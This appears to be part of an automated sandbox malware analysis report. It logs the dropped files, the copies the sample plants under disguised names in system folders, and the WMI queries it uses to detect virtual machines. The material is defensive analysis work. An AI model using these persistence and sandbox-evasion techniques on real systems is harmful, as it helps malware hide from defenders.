Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\vnjhvXId.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\egSCbkdO.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\MTqwIPIz.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\BfMGYDNR.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\sCEQoKxk.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\jTkAEhsC.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\eOLjNPjM.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\KWPomPtF.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\BnwYCmoX.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\zdaXCUIW.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\gRySjyoH.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\XieCzWia.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\GbOXfjDL.log Jump to dropped file
Drops PE files
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\eQQkRcVr.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\SoilvDeL.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\BhRGcQzx.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\gRySjyoH.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\BfMGYDNR.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\vnjhvXId.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\ESwXjeKp.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\XieCzWia.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\GbOXfjDL.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\egSCbkdO.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\hLTAIczh.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\jTkAEhsC.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\qBJICEqiLNwXNBLrN.exe Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\sCEQoKxk.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\MTqwIPIz.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\KWPomPtF.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\pwLIWFpU.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\NBQmTGPX.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Program Files\Microsoft Office 15\ClientX64\qBJICEqiLNwXNBLrN.exe Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\qtmQsFEO.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\fNssmckm.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\lGVRPIpa.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\zdaXCUIW.log Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\BnwYCmoX.log Jump to dropped file
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe File created: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\GVjFENOl.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\QJNvoZJT.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Program Files (x86)\Microsoft.NET\RedistList\conhost.exe Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Users\user\Desktop\HJnNqbKj.log Jump to dropped file
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe File created: C:\Recovery\qBJICEqiLNwXNBLrN.exe Jump to dropped file
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe File created: C:\Users\user\Desktop\eOLjNPjM.log Jump to dropped file
Source: C:\Users\user\Desktop\o9jDrpZrgR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\reviewruntimeMonitor\BlockrefBrokerperf.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
Source: C:\Users\user\Contacts\qBJICEqiLNwXNBLrN.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
